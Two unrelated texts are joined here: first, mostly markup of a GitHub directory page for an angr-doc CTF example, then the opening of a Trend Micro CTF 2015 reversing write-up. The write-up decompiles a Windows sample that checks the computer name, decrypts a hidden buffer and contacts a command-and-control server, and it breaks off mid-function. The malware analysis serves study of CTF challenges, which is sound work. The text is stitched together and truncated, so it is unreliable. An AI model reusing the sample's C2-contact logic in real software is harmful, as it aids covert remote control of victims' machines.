.215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>7</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/angr/angr-doc/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":40329995,"originating_url":"https://github.com/angr/angr-doc/tree/master/examples/asisctffinals2015_fake","user_id":null}}" data-hydro-click-hmac="4c90ca4374cc1649e1a5da3749c155a4bef501ea58d8d8d44c62abed91eb810a"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/angr/angr-doc/refs" cache-key="v0:1678330367.235797" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YW5nci9hbmdyLWRvYw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/angr/angr-doc/refs" cache-key="v0:1678330367.235797" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YW5nci9hbmdyLWRvYw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>angr-doc</span></span></span><span>/</span><span><span>examples</span></span><span>/</span>asisctffinals2015_fake<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>angr-doc</span></span></span><span>/</span><span><span>examples</span></span><span>/</span>asisctffinals2015_fake<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/angr/angr-doc/tree-commit/bc8c3871cf23fccafc6b9ec2d6ab46dc0a2c4e58/examples/asisctffinals2015_fake" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/angr/angr-doc/file-list/master/examples/asisctffinals2015_fake"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>fake</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Trend Micro CTF 2015: Analysis - Defensive 200 ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Trend Micro CTF 2015 | Analysis - Defensive 200 | Reversing | 200 | **Description:**>*Category: Analysis-defensive*>>*Points: 200*>>*Capture the flag by analyzing the file. (pass: TMCTF2015)* ----------## Write-up [We are given an archive](challenge/AnalyzeThis.zip) containing a Windows 32-bit Portable Executable (PE) binary: ```bash$ file AnalyzeThis.exeAnalyzeThis.exe; PE32 executable for MS Windows (GUI) Intel 80386 32-bit``` We load up the binary in IDA and start by statically reverse-engineering the core functionality (renaming function names and variables as well) which gives us the following pseudo-code: ```cint __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){ int result; // eax@2 int portnum; // [sp+0h] [bp-10h]@5 int bufLen; // [sp+4h] [bp-Ch]@1 LPCSTR lpszServerName; // [sp+8h] [bp-8h]@5 char *c2_buffer; // [sp+Ch] [bp-4h]@4 bufLen = 4; if ( check_compname() ) { if ( decrypt_mystery_buffer() && get_data_from_url((LPCSTR)(url_data + 4), (int)&c2_buffer, (int)&bufLen) ) { if ( get_hostname_and_port(c2_buffer, bufLen, (int)&lpszServerName, (int)&portnum) ) { do_core(lpszServerName, portnum); free((void *)lpszServerName); } } result = 0; } else { result = -1; } return result;}``` The main routine starts by calling the function which we renamed as *check_compname*: ```csigned int check_compname(){ signed int v1; // [sp+0h] [bp-120h]@1 DWORD nSize; // [sp+4h] [bp-11Ch]@1 CHAR computername; // [sp+8h] [bp-118h]@1 char v4; // [sp+9h] [bp-117h]@1 char *encoded_name; // [sp+118h] [bp-8h]@1 char *decoded_name; // [sp+11Ch] [bp-4h]@1 v1 = 0; computername = 0; memset(&v4, 0, 0x103u); encoded_name = "544e45574a3736383d365a4e"; nSize = 260; GetComputerNameA(&computername, &nSize); decoded_name = (char *)decode_string(encoded_name); if ( !strcmp(&computername, decoded_name) ) v1 = 1; free(decoded_name); return v1;}``` This function retrieves the local computer name and compares it against the decoded result of *"544e45574a3736383d365a4e"*. The *decode_string* function can be written in python as: ```pythondef decode_string(a1): v4 = len(a1) v5 = 48 v6 = 120 v11 = "" if(v4 % 2 == 0): for i in xrange(v4 >> 1): v7 = a1[2*i] v8 = a1[2*i + 1] s = chr(48)+chr(120)+a1[2*i]+a1[2*i+1] v1 = int(s, 16) v11 += "%c" % (v1-i) return v11``` Which gives us the target PC name of *"TMCTF2015-PC"*. If the executable is executed on a PC bearing this name the function *decrypt_myster_buffer* is executed which retrieves the computer name and feeds it to a sequence of routines manipulating an (as of yet) 'mystery buffer'. The decryption functionality looks as follows: ```cint __cdecl decryption_routine(int key, __int16 keylen, int ciphertext, unsigned __int16 ciphertext_len){ char keystream; // [sp+0h] [bp-110h]@1 func1(key, keylen, (int)&keystream); return func2(ciphertext, ciphertext_len, (int)&keystream);} int __cdecl func1(int a1, __int16 a2, int a3){ int result; // eax@4 char v4; // ST0A_1@6 unsigned __int8 v5; // [sp+Bh] [bp-9h]@1 unsigned __int16 i; // [sp+Ch] 